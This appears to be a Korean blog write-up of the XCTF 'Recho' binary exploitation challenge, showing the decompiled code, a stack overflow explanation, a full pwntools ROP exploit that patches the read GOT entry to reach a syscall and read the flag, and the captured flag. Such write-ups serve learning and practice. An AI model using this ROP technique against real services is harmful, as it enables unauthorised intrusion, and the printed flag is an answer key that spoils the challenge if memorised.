-
Disassembly 디스어셈블리
undefined8 main(void) { int64_t iVar1; char *str; // rbp-0x40 char *buf; // rbp-0x30 undefined8 size; Init(); write(1, "Welcome to Recho server!\n", 0x19); while( true ) { iVar1 = read(0, str, 0x10); if (iVar1 < 1) break; size = atoi(str); if (size < 0x10) { size = 0x10; } len = read(0, buf, size); buf[len] = 0; printf("%s", buf); } return 0; }
read를 통해 buf에 입력받을 때 스택 버퍼 오버플로우가 발생한다.
Syscall
while문을 종료시키려면 입력 스트림이 닫혀야 하므로 단 하나의 payload로 공격을 마쳐야 한다. 따라서 라이브러리 주소를 알아내서 추가적인 공격을 이어나가는 방식은 사용할 수 없다.
바이너리에 주어진 가젯으로 rax, rdi, rsi, rdx를 모두 제어할 수 있고 flag 문자열이 이미 존재하므로 syscall을 확보하면 open("flag","r'), read(3, buf, 0x30), write(1, buf, 0x30)을 차례로 호출해 flag를 읽어올 수 있다.
read 함수에는 syscall이 존재하므로 read의 got를 0xe만큼 증가시키면 syscall을 사용할 수 있다. got를 변경하기 위해 add BYTE PTR [rdi], al라는 가젯을 찾아 사용하였다.
Code
더보기from pwn import * binary = "./recho" lib = "../../lib/libc6_2.23-0ubuntu11_amd64.so" server = "111.200.241.244" port = 37977 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu') e = ELF(binary) r = ROP(e) l = ELF(lib) e.checksec() read_plt = e.plt["read"] read_got = e.got["read"] flag = next(e.search(b"flag\x00")) bss = e.bss()+0x800 add = 0x40070d # add BYTE PTR [rdi], al prax = r.find_gadget(['pop rax', 'ret'])[0] prdi = r.find_gadget(['pop rdi', 'ret'])[0] prsi = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0] prdx = r.find_gadget(['pop rdx', 'ret'])[0] payload = b"\x90"*0x38 payload += p64(prdi) + p64(read_got) payload += p64(prax) + p64(0xe) payload += p64(add) payload += p64(prax) + p64(2) payload += p64(prdi) + p64(flag) payload += p64(prsi) + p64(0) + p64(0) payload += p64(read_plt) payload += p64(prax) + p64(0) payload += p64(prdi) + p64(3) payload += p64(prsi) + p64(bss) + p64(0) payload += p64(prdx) + p64(0x30) payload += p64(read_plt) payload += p64(prax) + p64(1) payload += p64(prdi) + p64(1) payload += p64(prsi) + p64(bss) + p64(0) payload += p64(prdx) + p64(0x30) payload += p64(read_plt) p.recvline() p.sendline(str(len(payload))) p.send(payload) p.shutdown() p.recv(0x2a) log.info("flag : " + p.recvall().decode())
Flag
cyberpeace{479619f76e82727f3f2b0db9a692e913}
'CTF > XCTF' 카테고리의 다른 글
greeting (0) 2021.02.11 pwn-100 (0) 2021.02.11 welpwn (0) 2021.02.11 Mary_Morton (0) 2021.02.11 int_overflow (0) 2021.01.21